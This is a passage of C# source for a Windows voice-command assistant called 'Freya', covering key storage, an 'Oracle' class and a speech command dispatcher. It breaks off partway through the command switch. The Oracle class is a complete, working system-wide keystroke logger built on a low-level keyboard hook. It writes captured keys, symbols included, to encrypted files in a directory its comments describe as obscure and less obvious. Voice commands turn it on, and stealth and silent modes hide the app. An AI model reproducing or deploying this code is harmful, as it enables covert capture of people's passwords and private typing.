        public static byte[] GetKey()
        {
            if (!File.Exists(KeyFilePath))
            {
                Debug.WriteLine("Key file does not exist.");
                return null;
            }

            try
            {
                byte[] protectedKey = File.ReadAllBytes(KeyFilePath);
                return ProtectedData.Unprotect(protectedKey, null, DataProtectionScope.CurrentUser);
            }
            catch (CryptographicException ex)
            {
                Debug.WriteLine($"Cryptographic error during key unprotection: {ex.Message}. Key might be corrupted or protected for a different user/machine.");
                return null;
            }
            catch (IOException ex)
            {
                Debug.WriteLine($"File I/O error during key retrieval: {ex.Message}");
                return null;
            }
            catch (UnauthorizedAccessException ex)
            {
                Debug.WriteLine($"Access denied error during key retrieval: {ex.Message}");
                return null;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"An unexpected error occurred during key retrieval: {ex.Message}");
                return null;
            }
        }

        /// <summary>
        /// Attempts to retrieve and unprotect the AES IV from storage.
        /// </summary>
        /// <returns>The unprotected AES IV as a byte array, or null if retrieval fails.</returns>
        public static byte[] GetIv()
        {
            if (!File.Exists(IvFilePath))
            {
                Debug.WriteLine("IV file does not exist.");
                return null;
            }

            try
            {
                byte[] protectedIv = File.ReadAllBytes(IvFilePath);
                return ProtectedData.Unprotect(protectedIv, null, DataProtectionScope.CurrentUser);
            }
            catch (CryptographicException ex)
            {
                Debug.WriteLine($"Cryptographic error during IV unprotection: {ex.Message}. IV might be corrupted or protected for a different user/machine.");
                return null;
            }
            catch (IOException ex)
            {
                Debug.WriteLine($"File I/O error during IV retrieval: {ex.Message}");
                return null;
            }
            catch (UnauthorizedAccessException ex)
            {
                Debug.WriteLine($"Access denied error during IV retrieval: {ex.Message}");
                return null;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"An unexpected error occurred during IV retrieval: {ex.Message}");
                return null;
            }
        }

        /// <summary>
        /// Checks if the protected key and IV files exist.
        /// </summary>
        public static bool AreKeysStored()
        {
            return File.Exists(KeyFilePath) && File.Exists(IvFilePath);
        }
    }
}

Next Class:
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading; // Required for Thread.Sleep
using System.Windows.Forms; // Required for Application.DoEvents() and for Keys enum

namespace Freya
{
    public class Oracle : IDisposable
    {
        #region Constants

        private const int WH_KEYBOARD_LL = 13; // Low-level keyboard hook
        private const int WM_KEYDOWN = 0x0100; // Key down message
        private const int WM_SYSKEYDOWN = 0x0104; // System key down message (e.g., Alt, F10)
        private const int WM_KEYUP = 0x0101; // Key up message
        private const int WM_SYSKEYUP = 0x0105; // System key up message

        // Virtual key codes for GetKeyState
        private const int VK_SHIFT = 0x10; // Shift key
        private const int VK_CAPITAL = 0x14; // Caps Lock key
        private const int VK_LSHIFT = 0xA0; // Left Shift key
        private const int VK_RSHIFT = 0xA1; // Right Shift key

        #endregion

        #region Private Fields

        private LowLevelKeyboardProc _proc; // Delegate for the low-level keyboard hook callback
        private IntPtr _hookID = IntPtr.Zero; // Handle to the keyboard hook
        private string _logFilePath; // Path to the log file
        private readonly System.Windows.Forms.Timer _flushTimer; // Timer to flush the key buffer to file
        private readonly StringBuilder _keyBuffer = new StringBuilder(); // Buffer to store keystrokes
        private readonly object _bufferLock = new object(); // Lock for thread-safe buffer access
        private bool _isLogging = false; // Flag to indicate if logging is active
        private bool _disposed = false; // To track if Dispose has been called
        private readonly FileSecurityService _fileSecurityService; // Dependency for file operations

        #endregion

        #region Dll Imports

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); // Install a hook procedure

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk); // Remove a hook procedure

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); // Pass the hook information to the next hook procedure in the chain

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName); // Get a module handle

        [DllImport("user32.dll")]
        private static extern short GetKeyState(int nVirtKey); // Retrieves the status of the specified virtual key

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); // Delegate type for the low-level keyboard hook callback

        #endregion

        #region Constructor

        // Modified constructor to accept FileSecurityService
        public Oracle(FileSecurityService fileSecurityService)
        {
            _fileSecurityService = fileSecurityService ?? throw new ArgumentNullException(nameof(fileSecurityService)); // Initialize the file security service and ensure it's not null
            InitializeLogFile(); // Initialize the log file path
            _flushTimer = new System.Windows.Forms.Timer
            {
                Interval = 5000 // Flush every 5 seconds
            };
            _flushTimer.Tick += FlushBufferToFile; // Subscribe to the Tick event to flush the buffer
            _flushTimer.Stop(); // Ensure timer is stopped initially
        }

        #endregion

        #region Public Methods

        public void StartLogging()
        {
            if (_isLogging)
            {
                Debug.WriteLine("Keylogger is already logging.");
                return;
            }

            _proc = HookCallback; // Assign the hook callback delegate
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0); // Install the low-level keyboard hook
                if (_hookID == IntPtr.Zero)
                {
                    int errorCode = Marshal.GetLastWin32Error(); // Get the last Win32 error code
                    throw new System.ComponentModel.Win32Exception(errorCode, $"Failed to install keyboard hook. Error Code: {errorCode}"); // Throw an exception with the error code
                }
            }
            _isLogging = true; // Set logging flag to true
            _flushTimer.Start(); // Start the flush timer
            Debug.WriteLine("Keylogger started.");
            WriteToLogFile("Keylogger started at " + DateTime.Now.ToString() + Environment.NewLine); // Log the start time
        }

        public void StopLogging()
        {
            if (!_isLogging)
            {
                Debug.WriteLine("Keylogger is not active.");
                return;
            }

            // Attempt to unhook the keyboard hook
            bool unhooked = UnhookWindowsHookEx(_hookID);
            if (!unhooked)
            {
                int errorCode = Marshal.GetLastWin32Error(); // Get the last Win32 error code
                Debug.WriteLine($"Failed to uninstall keyboard hook. Error Code: {errorCode}"); // Log the error code
            }
            _hookID = IntPtr.Zero; // Reset hook ID to indicate it's no longer active

            _isLogging = false; // Set logging flag to false
            _flushTimer.Stop(); // Stop the flush timer
            FlushBufferToFile(null, null); // Flush any remaining buffered keys immediately
            Debug.WriteLine("Keylogger stopped.");
            WriteToLogFile(Environment.NewLine + "Keylogger stopped at " + DateTime.Now.ToString() + Environment.NewLine); // Log the stop time
        }

        // Add a property to check if logging is active
        public bool IsLogging
        {
            get { return _isLogging; }
        }

        public static int VK_SHIFT1 => VK_SHIFT; // Static property to access the VK_SHIFT constant

        #endregion

        #region Private Methods

        private void InitializeLogFile()
        {
            // Use LocalApplicationData for a more secure and less obvious location
            string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Get the local application data path
            string logDirectory = Path.Combine(appDataPath, "Freya", "SystemLogs"); // Obscure path for log files

            try
            {
                if (!Directory.Exists(logDirectory))
                {
                    Directory.CreateDirectory(logDirectory); // Create the log directory if it doesn't exist
                }

                string timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss"); // Generate a timestamp for the log file
                // Changed file extension to .enc to indicate encryption
                _logFilePath = Path.Combine(logDirectory, $"Keylog_{timestamp}.enc"); // Set the log file path with the timestamp

                Debug.WriteLine($"Keylogger log file path: {_logFilePath}"); // Log the log file path
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Error initializing log file path: {ex.Message}"); // Log the error
                _logFilePath = Path.Combine(Path.GetTempPath(), $"Keylog_Fallback_{DateTime.Now:yyyyMMdd_HHmmss}.enc"); // Fallback to temporary path
                Debug.WriteLine($"Falling back to temporary log file: {_logFilePath}"); // Log the fallback path
            }
        }

        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            // Process the hook if nCode is valid and it's a key event
            if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN ||
                               wParam == (IntPtr)WM_KEYUP || wParam == (IntPtr)WM_SYSKEYUP))
            {
                int vkCode = Marshal.ReadInt32(lParam); // Read the virtual key code from lParam
                Keys key = (Keys)vkCode; // Convert the virtual key code to a Keys enum

                string keyText = string.Empty; // Variable to store the readable key text

                // Handle Key Down events
                if (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN)
                {
                    keyText = ConvertKeyToReadableString(key); // Convert the key to a readable string
                }
                // Handle Key Up events
                else if (wParam == (IntPtr)WM_KEYUP || wParam == (IntPtr)WM_SYSKEYUP)
                {
                    // You can choose to log key up events differently, or not at all.
                    // For example, you might want to mark them as "[KEY_UP: <Key>]"
                    // keyText = $"[KEY_UP:{key}]"; // Uncomment if you want to log key ups
                }

                if (!string.IsNullOrEmpty(keyText))
                {
                    lock (_bufferLock)
                    {
                        _keyBuffer.Append(keyText); // Append the readable key text to the buffer
                    }
                }
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam); // Pass the hook information to the next hook procedure in the chain
        }

        private string ConvertKeyToReadableString(Keys key)
        {
            // Handle special keys
            switch (key)
            {
                case Keys.Return: return "[ENTER]"; // Return key
                case Keys.Space: return " "; // Space key
                case Keys.Tab: return "[TAB]"; // Tab key
                case Keys.Back: return "[BACKSPACE]"; // Backspace key
                case Keys.LControlKey:
                case Keys.RControlKey: return "[CTRL]"; // Control key
                case Keys.LShiftKey:
                case Keys.RShiftKey: return "[SHIFT]"; // Shift key
                case Keys.LMenu:
                case Keys.RMenu: return "[ALT]"; // Alt key
                case Keys.CapsLock: return "[CAPS LOCK]"; // Caps Lock key
                case Keys.Escape: return "[ESC]"; // Escape key
                case Keys.Delete: return "[DEL]"; // Delete key
                case Keys.Insert: return "[INS]"; // Insert key
                case Keys.Home: return "[HOME]"; // Home key
                case Keys.End: return "[END]"; // End key
                case Keys.PageUp: return "[PAGE UP]"; // Page Up key
                case Keys.PageDown: return "[PAGE DOWN]"; // Page Down key
                case Keys.PrintScreen: return "[PRTSC]"; // Print Screen key
                case Keys.Scroll: return "[SCROLL LOCK]"; // Scroll Lock key
                case Keys.Pause: return "[PAUSE]"; // Pause key
                case Keys.NumLock: return "[NUMLOCK]"; // Num Lock key
                case Keys.Divide: return "/"; // Divide key
                case Keys.Multiply: return "*"; // Multiply key
                case Keys.Subtract: return "-"; // Subtract key
                case Keys.Add: return "+"; // Add key
                case Keys.Decimal: return "."; // Decimal key
                case Keys.Clear: return "[CLEAR]"; // Clear key
                case Keys.Oemtilde: return IsShiftPressed() ? "~" : "`"; // Tilde key
                case Keys.OemOpenBrackets: return IsShiftPressed() ? "{" : "["; // Open bracket key
                case Keys.OemCloseBrackets: return IsShiftPressed() ? "}" : "]"; // Close bracket key
                case Keys.OemSemicolon: return IsShiftPressed() ? ":" : ";"; // Semicolon key
                case Keys.OemQuotes: return IsShiftPressed() ? "\"" : "'"; // Quote key
                case Keys.Oemcomma: return IsShiftPressed() ? "<" : ","; // Comma key
                case Keys.OemPeriod: return IsShiftPressed() ? ">" : "."; // Period key
                case Keys.OemQuestion: return IsShiftPressed() ? "?" : "/"; // Question mark key
                case Keys.OemBackslash: return IsShiftPressed() ? "|" : "\\"; // Backslash key
                case Keys.OemMinus: return IsShiftPressed() ? "_" : "-"; // Minus key
                case Keys.Oemplus: return IsShiftPressed() ? "+" : "="; // Plus key

                case Keys.BrowserBack: return "[BrowserBack]"; // Browser back key
                case Keys.BrowserForward: return "[BrowserForward]"; // Browser forward key
                case Keys.BrowserRefresh: return "[BrowserRefresh]"; // Browser refresh key
                case Keys.BrowserStop: return "[BrowserStop]"; // Browser stop key
                case Keys.BrowserSearch: return "[BrowserSearch]"; // Browser search key
                case Keys.BrowserFavorites: return "[BrowserFavorites]"; // Browser favorites key
                case Keys.BrowserHome: return "[BrowserHome]"; // Browser home key
                case Keys.VolumeMute: return "[VolumeMute]"; // Volume mute key
                case Keys.VolumeDown: return "[VolumeDown]"; // Volume down key
                case Keys.VolumeUp: return "[VolumeUp]"; // Volume up key
                case Keys.MediaNextTrack: return "[NextTrack]"; // Media next track key
                case Keys.MediaPreviousTrack: return "[PreviousTrack]"; // Media previous track key
                case Keys.MediaStop: return "[MediaStop]"; // Media stop key
                case Keys.MediaPlayPause: return "[Play/Pause]"; // Media play/pause key
                case Keys.LaunchMail: return "[LaunchMail]"; // Launch mail key
                case Keys.SelectMedia: return "[SelectMedia]"; // Select media key
                case Keys.LaunchApplication1: return "[LaunchApp1]"; // Launch application 1 key
                case Keys.LaunchApplication2: return "[LaunchApp2]"; // Launch application 2 key

                // Numeric keys with shift for symbols
                case Keys.D0: return IsShiftPressed() ? ")" : "0"; // 0 key
                case Keys.D1: return IsShiftPressed() ? "!" : "1"; // 1 key
                case Keys.D2: return IsShiftPressed() ? "@" : "2"; // 2 key
                case Keys.D3: return IsShiftPressed() ? "#" : "3"; // 3 key
                case Keys.D4: return IsShiftPressed() ? "$" : "4"; // 4 key
                case Keys.D5: return IsShiftPressed() ? "%" : "5"; // 5 key
                case Keys.D6: return IsShiftPressed() ? "^" : "6"; // 6 key
                case Keys.D7: return IsShiftPressed() ? "&" : "7"; // 7 key
                case Keys.D8: return IsShiftPressed() ? "*" : "8"; // 8 key
                case Keys.D9: return IsShiftPressed() ? "(" : "9"; // 9 key
            }

            // Handle letters (A-Z) - make them uppercase if Shift or CapsLock is active
            if (key >= Keys.A && key <= Keys.Z)
            {
                return (IsShiftPressed() || IsCapsLockOn()) ? key.ToString().ToUpper() : key.ToString().ToLower(); // Convert to uppercase or lowercase based on key state
            }

            // Handle F-keys (F1-F24)
            if (key >= Keys.F1 && key <= Keys.F24)
            {
                return "[" + key.ToString() + "]"; // Enclose F-keys in brackets
            }

            // Handle numeric keypad keys
            if (key >= Keys.NumPad0 && key <= Keys.NumPad9)
            {
                return (key - Keys.NumPad0).ToString(); // Convert NumPad key to its digit
            }

            // For other keys, just return their string representation.
            return key.ToString(); // Convert key to its string representation
        }

        private bool IsShiftPressed()
        {
            // Check if either left or right shift is pressed
            return (GetKeyState(VK_LSHIFT) & 0x8000) != 0 || (GetKeyState(VK_RSHIFT) & 0x8000) != 0; // Check shift key state
        }

        private bool IsCapsLockOn()
        {
            // Check if Caps Lock is toggled on
            return (GetKeyState(VK_CAPITAL) & 0x0001) != 0; // Check Caps Lock state
        }

        private void FlushBufferToFile(object sender, EventArgs e)
        {
            string textToFlush;
            lock (_bufferLock)
            {
                if (_keyBuffer.Length == 0) return; // Exit if buffer is empty
                textToFlush = _keyBuffer.ToString(); // Get the text from the buffer
                _keyBuffer.Clear(); // Clear the buffer
            }

            WriteToLogFile(textToFlush); // Write the text to the log file
        }

        private void WriteToLogFile(string text)
        {
            const int maxRetries = 3; // Maximum number of retry attempts
            const int retryDelayMs = 1000; // Delay between retries in milliseconds (1 second)

            for (int i = 0; i < maxRetries; i++)
            {
                try
                {
                    // Use the FileSecurityService to append encrypted text
                    _fileSecurityService.AppendEncryptedText(_logFilePath, text); // Append encrypted text to the log file
                    return; // Success, exit method
                }
                catch (IOException ex)
                {
                    Debug.WriteLine($"Error writing to log file (Attempt {i + 1}/{maxRetries}): {ex.Message}"); // Log the error
                    if (i < maxRetries - 1)
                    {
                        Thread.Sleep(retryDelayMs); // Wait before retrying
                    }
                    else
                    {
                        Debug.WriteLine("All retries failed. Key data may not have been logged."); // Log all retries failed
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"An unexpected error occurred while writing to log file: {ex.Message}"); // Log unexpected error
                    break;
                }
            }
        }

        #endregion

        #region IDisposable Implementation

        public void Dispose()
        {
            Dispose(true); // Call the protected Dispose method
            GC.SuppressFinalize(this); // Suppress finalization to prevent double disposal
        }

        protected virtual void Dispose(bool disposing)
        {
            if (_disposed)
            {
                return; // Exit if already disposed
            }

            if (disposing)
            {
                Debug.WriteLine("Disposing managed resources...");
                StopLogging(); // Ensure the hook is uninstalled and buffer flushed
                _flushTimer.Dispose(); // Dispose the timer
                // No need to dispose _fileSecurityService here if it's managed by the caller
                // or if it's a singleton/static instance. If Oracle created it, then dispose it here.
            }

            _disposed = true; // Set disposed flag to true
            Debug.WriteLine("Oracle instance disposed.");
        }

        ~Oracle()
        {
            Dispose(false); // Call the protected Dispose method with false to indicate finalizer disposal
        }

        #endregion
    }
}
Last class:
using System;
using System.Diagnostics;
using System.IO;
using System.Media;
using System.Runtime.InteropServices;
using System.Speech.Recognition;
using System.Speech.Synthesis;
using System.Threading;
using System.Windows.Forms;
using System.Collections.Generic;

namespace Freya
{
    public class SpeechCommands
    {
        #region Private Fields

        private readonly FileSecurityService _fileSecurityService; // Service for file encryption and decryption
        private readonly Form _mainForm; // Main form of the application
        private readonly PictureBox _pictureBox; // PictureBox control on the form
        private readonly string _availableCommandsMessage; // Message containing available commands
        private readonly Oracle _keylogger; // Keylogger instance for recording keystrokes
        private bool _isSilentModeActive = false; // Flag to indicate if silent mode is active
        private readonly SpeechSynthesizer _synth; // Synthesizer for text-to-speech

        #endregion

        #region Dll Imports

        [DllImport("user32.dll")]
        private static extern bool SetForegroundWindow(IntPtr hWnd); // Brings the window with the specified handle to the foreground

        [DllImport("user32.dll")]
        private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo); // Simulates a key press or release

        [DllImport("shell32.dll")]
        static extern int SHEmptyRecycleBin(IntPtr hwnd, string pszRootPath, RecycleFlags dwFlags); // Empties the recycling bin

        private const byte VK_VOLUME_MUTE = 0xAD; // Virtual key code for mute volume
        private const byte VK_VOLUME_DOWN = 0xAE; // Virtual key code for volume down
        private const byte VK_VOLUME_UP = 0xAF; // Virtual key code for volume up
        private const byte VK_MEDIA_PLAY_PAUSE = 0xB3; // Virtual key code for play/pause media
        private const byte VK_MEDIA_STOP = 0xB2; // Virtual key code for stop media
        private const byte VK_MEDIA_NEXT_TRACK = 0xB0; // Virtual key code for next track
        private const byte VK_MEDIA_PREV_TRACK = 0xB1; // Virtual key code for previous track
        private const uint KEYEVENTF_KEYUP = 0x0002; // Flag to indicate the key is being released

        [Flags]
        enum RecycleFlags : int
        {
            SHERB_NOCONFIRMATION = 0x00000001, // Do not ask for confirmation
            SHERB_NOPROGRESSUI = 0x00000002, // Do not show progress UI
            SHERB_NOSOUND = 0x00000004 // Do not play sound
        }

        #endregion

        #region Constructor

        public SpeechCommands(FileSecurityService fileSecurityService, Form mainForm, PictureBox pictureBox)
        {
            // Play startup sound on a new thread
            new Thread(() =>
            {
                using (SoundPlayer player = new SoundPlayer(Properties.Resources._0529)) // Load the startup sound resource
                {
                    player.PlaySync(); // Play the sound synchronously
                }
            }).Start();

            _fileSecurityService = fileSecurityService; // Initialize the file security service
            _mainForm = mainForm; // Initialize the main form
            _pictureBox = pictureBox; // Initialize the PictureBox
            _keylogger = new Oracle(_fileSecurityService); // Initialize the keylogger with the file security service

            // Initialize SpeechSynthesizer
            _synth = new SpeechSynthesizer(); // Create a new speech synthesizer
            _synth.SetOutputToDefaultAudioDevice(); // Set output to default speaker

            var commands = new List<string>
            {
                // Existing commands
                "search", "open documents", "open downloads", "open pictures", "open videos",
                "open music", "open desktop", "open control panel", "open task manager",
                "run disk cleanup", "open visual studio", "open notepad", "magnify", "less",
                "open bluetooth settings", "open other device settings", "stop recording",
                "encrypt files", "decrypt files", "encrypt directory", "decrypt directory",
                "show commands", "exit application", "close window", "new tab", "switch tab",
                "page up", "page down", "shut down", "stealth mode", "come back",
                "restart computer", "sleep computer", "lock computer", "mute volume",
                "volume up", "volume down", "play pause media", "stop media",
                "next track", "previous track", "open calculator", "open paint",
                "take screenshot", "open settings", "open network settings", "show desktop",
                "minimize all windows", "maximize window", "empty recycling bin",
                "record keystrokes", "toggle silent mode",
                "open powershell"
            };

            _availableCommandsMessage = "Available Commands:\n\n" + string.Join(Environment.NewLine, commands); // Create a message listing all available commands
        }

        #endregion

        #region Public Methods

        public Grammar CreateGrammar()
        {
            Choices commands = new Choices(); // Create a new Choices object to hold the commands
            commands.Add(new string[]
            {
                // Existing commands
                "search", "open documents", "open downloads", "open pictures", "open videos",
                "open music", "open desktop", "open control panel", "open task manager",
                "run disk cleanup", "open visual studio", "open notepad", "new tab",
                "open bluetooth settings", "open other device settings", "switch tab",
                "encrypt files", "decrypt files", "encrypt directory", "decrypt directory",
                "show commands", "exit application", "close window", "magnify", "less",
                "page up", "page down", "shut down", "stealth mode", "come back",
                "restart computer", "sleep computer", "lock computer", "mute volume",
                "volume up", "volume down", "play pause media", "stop media",
                "next track", "previous track", "open calculator", "open paint",
                "take screenshot", "open settings", "open network settings", "show desktop",
                "minimize all windows", "maximize window", "empty recycling bin",
                "record keystrokes", "stop recording", "toggle silent mode",
                "open powershell"
            });

            GrammarBuilder gb = new GrammarBuilder(); // Create a new GrammarBuilder object
            gb.Append(commands); // Append the commands to the grammar builder
            return new Grammar(gb); // Return a new Grammar object based on the grammar builder
        }

        public void ExecuteCommand(string command, Form currentForm)
        {
            // Play sound only if silent mode is NOT active
            if (!_isSilentModeActive)
            {
                switch (command)
                {
                    case "search": new SoundPlayer(Properties.Resources.opening_bing).Play(); break; // Play sound for "search" command
                    case "open documents": new SoundPlayer(Properties.Resources.retrieving_documents).Play(); break; // Play sound for "open documents" command
                    case "open downloads": new SoundPlayer(Properties.Resources.downloads).Play(); break; // Play sound for "open downloads" command
                    case "open pictures": new SoundPlayer(Properties.Resources.pics).Play(); break; // Play sound for "open pictures" command
                    case "open videos": new SoundPlayer(Properties.Resources.videos).Play(); break; // Play sound for "open videos" command
                    case "open music": new SoundPlayer(Properties.Resources.music).Play(); break; // Play sound for "open music" command
                    case "open desktop": new SoundPlayer(Properties.Resources.desktop).Play(); break; // Play sound for "open desktop" command
                    case "open control panel": new SoundPlayer(Properties.Resources.as_you_wish).Play(); break; // Play sound for "open control panel" command
                    case "open task manager": new SoundPlayer(Properties.Resources.task_manager).Play(); break; // Play sound for "open task manager" command
                    case "run disk cleanup": new SoundPlayer(Properties.Resources.disk_cleanup).Play(); break; // Play sound for "run disk cleanup" command
                    case "open visual studio": new SoundPlayer(Properties.Resources.visual).Play(); break; // Play sound for "open visual studio" command
                    case "open notepad": new SoundPlayer(Properties.Resources.notepad).Play(); break; // Play sound for "open notepad" command
                    case "open bluetooth settings": new SoundPlayer(Properties.Resources.bluetooth).Play(); break; // Play sound for "open bluetooth settings" command
                    case "open other device settings": new SoundPlayer(Properties.Resources.device_settings).Play(); break; // Play sound for "open other device settings" command
                    case "encrypt files":
                    case "encrypt directory": new SoundPlayer(Properties.Resources.AES).Play(); break; // Play sound for "encrypt files" and "encrypt directory" commands
                    case "decrypt directory": new SoundPlayer(Properties.Resources.decrypt).Play(); break; // Play sound for "decrypt directory" command
                    case "open powershell": new SoundPlayer(Properties.Resources.shell).Play(); break; // Play sound for "open powershell" command
                    case "show commands": new SoundPlayer(Properties.Resources.commands).Play(); break; // Play sound for "show commands" command
                    case "exit application": new SoundPlayer(Properties.Resources.as_you_wish_Justin).Play(); break; // Play sound for "exit application" command
                    case "come back": new SoundPlayer(Properties.Resources.come_back).Play(); break; // Play sound for "come back" command
                    case "page up": new SoundPlayer(Properties.Resources.whoosh).Play(); break; // Play sound for "page up" command
                    case "page down": new SoundPlayer(Properties.Resources.whoosh).Play(); break; // Play sound for "page down" command
                    case "shut down": new SoundPlayer(Properties.Resources.shut_down).Play(); break; // Play sound for "shut down" command
                    case "stealth mode": new SoundPlayer(Properties.Resources.stealth).Play(); break; // Play sound for "stealth mode" command
                    case "restart computer": new SoundPlayer(Properties.Resources.restart).Play(); break; // Play sound for "restart computer" command
                    case "sleep computer": new SoundPlayer(Properties.Resources.sleep).Play(); break; // Play sound for "sleep computer" command
                    case "lock computer": new SoundPlayer(Properties.Resources._lock).Play(); break; // Play sound for "lock computer" command
                    case "mute volume": new SoundPlayer(Properties.Resources.as_you_wish).Play(); break; // Play sound for "mute volume" command
                }
            }

            switch (command)
            {
                case "search":
                    LaunchUrl("https://www.bing.com", _isSilentModeActive); // Launch Bing search
                    Thread.Sleep(1500); // Wait for Bing to load
                    SendKeys.SendWait("{TAB}"); // Move focus to the search bar
                    SendKeys.SendWait("{ENTER}"); // Activate search
                    break;
                case "open documents":
                    LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), _isSilentModeActive); // Open Documents folder
                    break;
                case "open downloads":
                    LaunchFolder(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "Downloads"), _isSilentModeActive); // Open Downloads folder
                    break;
                case "open pictures":
                    LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), _isSilentModeActive); // Open Pictures folder
                    break;
                case "open videos":
                    LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos), _isSilentModeActive); // Open Videos folder
                    break;
                case "open music":
                    LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic), _isSilentModeActive); // Open Music folder
                    break;
                case "open desktop":
                    LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), _isSilentModeActive); // Open Desktop folder
                    break;
                case "open control panel":
                    LaunchApplication("control.exe", _isSilentModeActive); // Open Control Panel
                    break;
                case "open task manager":
                    LaunchApplication("taskmgr.exe", _isSilentModeActive); // Open Task Manager
                    break;
                case "run disk cleanup":
                    LaunchApplication("cleanmgr.exe", _isSilentModeActive); // Open Disk Cleanup
                    break;
                case "open visual studio":
                    LaunchApplication("devenv.exe", _isSilentModeActive); // Open Visual Studio
                    break;
                case "open notepad":
                    LaunchApplication("notepad.exe", _isSilentModeActive); // Open Notepad
                    break;
                case "open bluetooth settings":
                    LaunchUrl("ms-settings:bluetooth", _isSilentModeActive); // Open Bluetooth settings
                    break;
                case "open other device settings":
                    LaunchUrl("ms-settings:connecteddevices", _isSilentModeActive); // Open Other Device settings
                    break;
                case "encrypt files":
                case "encrypt directory":
                    HandleFileSecurityDialog(currentForm, true); // Encrypt files or directory
                    break;
                case "decrypt files":
                case "decrypt directory":
                    HandleFileSecurityDialog(currentForm, false); // Decrypt files or directory
                    break;
                case "show commands":
                    ShowAvailableCommands(currentForm); // Show available commands
                    break;
                case "exit application":
                    Thread.Sleep(1500); // Wait before exiting
                    Application.Exit(); // Exit the application
                    break;
                case "close window":
                    ToggleStealthMode(hide: true); // Hide the form
                    SendKeys.Send("%{F4}"); // Simulate pressing Alt+F4 to close the active window
                    Debug.WriteLine("Disparta command executed: Main form hidden, active window/tab closed.");
                    break;
                case "come back":
                    ToggleStealthMode(hide: false); // Show the form
                    break;
                case "page up":
                    SendKeys.SendWait("{PGUP}"); // Simulate pressing Page Up
                    break;
                case "page down":
                    SendKeys.SendWait("{PGDN}"); // Simulate pressing Page Down
                    break;
                case "new tab":
                    SendKeys.SendWait("^{t}"); // Simulate pressing Ctrl+T to open a new tab
                    break;
                case "switch tab":
                    SendKeys.SendWait("^{TAB}"); // Simulate pressing Ctrl+Tab to switch tabs
                    break;
                case "magnify":
                    SendKeys.Send("^{+}"); // Simulate pressing Ctrl+Shift to magnify
                    break;
                case "less":
                    SendKeys.Send("^{-}"); // Simulate pressing Ctrl+- to reduce magnification
                    break;
                case "shut down":
                    ConfirmAndExecutePowerCommand(currentForm, "shutdown.exe", "/s /t 0", "shut down"); // Confirm and execute shutdown
                    break;
                case "stealth mode":
                    ToggleStealthMode(null); // Toggle stealth mode
                    break;
                case "restart computer":
                    ConfirmAndExecutePowerCommand(currentForm, "shutdown.exe", "/r /t 0", "restart"); // Confirm and execute restart
                    break;
                case "sleep computer":
                    Application.SetSuspendState(PowerState.Suspend, false, false); // Put computer to sleep
                    Debug.WriteLine("Attempted to put computer to sleep.");
                    break;
                case "lock computer":
                    Process.Start("rundll32.exe", "user32.dll,LockWorkStation"); // Lock the computer
                    Debug.WriteLine("Attempted to lock computer.");
                    break;
                case "mute volume":
                    SimulateMediaKey(VK_VOLUME_MUTE); // Simulate mute volume key press
                    Debug.WriteLine("Mute volume command executed.");
                    break;
                case "volume up":
                    SimulateMediaKey(VK_VOLUME_UP); // Simulate volume up key press
                    Debug.WriteLine("Volume up command executed.");
                    break;
                case "volume down":
                    SimulateMediaKey(VK_VOLUME_DOWN); // Simulate volume down key press
                    Debug.WriteLine("Volume down command executed.");
                    break;
                case "play pause media":
                    SimulateMediaKey(VK_MEDIA_PLAY_PAUSE); // Simulate play/pause media key press
                    Debug.WriteLine("Play/Pause media command executed.");
                    break;
                case "stop media":
                    SimulateMediaKey(VK_MEDIA_STOP); // Simulate stop media key press
                    Debug.WriteLine("Stop media command executed.");
                    break;
                case "next track":
                    SimulateMediaKey(VK_MEDIA_NEXT_TRACK); // Simulate next track key press
                    Debug.WriteLine("Next track command executed.");
                    break;
                case "previous track":
                    SimulateMediaKey(VK_MEDIA_PREV_TRACK); // Simulate previous track key press
                    Debug.WriteLine("Previous track command executed.");
                    break;
                case "open calculator":
                    LaunchApplication("calc.exe", _isSilentModeActive); // Open Calculator
                    break;
                case "open paint":
                    LaunchApplication("mspaint.exe", _isSilentModeActive); // Open Paint
                    break;
                case "take screenshot":
                    LaunchApplication("SnippingTool.exe", _isSilentModeActive); // Open Snipping Tool to take a screenshot
                    break;
                case "open settings":
                    LaunchUrl("ms-settings:", _isSilentModeActive); // Open Settings
                    break;
                case "open network settings":
                    LaunchUrl("ms-settings:network-status", _isSilentModeActive); // Open Network settings
                    break;
                case "show desktop":
                    SendKeys.SendWait("{win}d"); // Simulate pressing Win+D to show the desktop
                    Debug.WriteLine("Show desktop command executed.");
                    break;
                case "minimize all windows":
